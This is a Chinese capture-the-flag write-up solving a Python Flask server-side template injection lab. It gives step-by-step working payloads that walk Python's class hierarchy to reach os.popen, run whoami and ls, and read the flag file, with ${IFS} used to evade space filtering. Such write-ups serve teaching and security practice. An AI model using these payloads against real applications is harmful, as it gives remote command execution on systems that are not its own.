本题考察的是 Python 的 SSTI 漏洞,可以参考下面两篇文章:
进入靶场,可以看到页面显示 “python template injection”,提示说本关考察的是 Python 的 SSTI 漏洞:
既然是考察的 SSTI,我们就得首先找到可注入的点,输入 /robots.txt
,可以看到,其页面会将我们输入的内容返回回来:
那我们修改 Payload 为 {{1-1}}
,可以看到,其返回回来的是执行完后的结果,证明我们传入的信息会被执行:
那么下面就简单了,就是 SSTI 的流程。因为 Python 所有类的基类都是 Object(Flask 框架是 Python 的哦),所以 SSTI 实际上就是通过数据类型的父类找到 Object 类,然后再找到 Object 类衍生出来的可以执行文件读取或者命令执行的函数(有点抽象,可以去看看上面提供的参考文章,自己做个推导就好)。
传入如下 Payload 拿到当前类的继承顺序:
/{{''.__class__.__mro__}}
然后通过 __subclasses__
查找基类的所有子类:
/{{''.__class__.__mro__[-1].__subclasses__()}}
上面那个 Payload 定位到了 Object 类下的所有子类,那么下面我们就要去实例化这些类并且通过 __globals__
方法查看这些实例化的对象中有无 OS 或者 File 相关的方法(可以通过 Fuzz):
/{{''.__class__.__mro__[-1].__subclasses__()[0].__init__.__globals__}}
成功定位到可以执行 OS 命令的子类后,以下就是我们执行命令的 Payload:
{{''.__class__.__mro__[-1].__subclasses__()[204].__init__.__globals__["os"]["popen"]("whoami").read()}}
/{{''.__class__.__mro__[-1].__subclasses__()[204].__init__.__globals__["os"]["popen"]("ls").read()}}
然后读取 Flag,这里笔者使用了 ${IFS}
替代了空格在 Linux 系统上执行命令,如下,成功拿到了 Flag:
/{{''.__class__.__mro__[-1].__subclasses__()[204].__init__.__globals__["os"]["popen"]("cat${IFS}fl4g").read()}}
因篇幅问题不能全部显示,请点此查看更多更全内容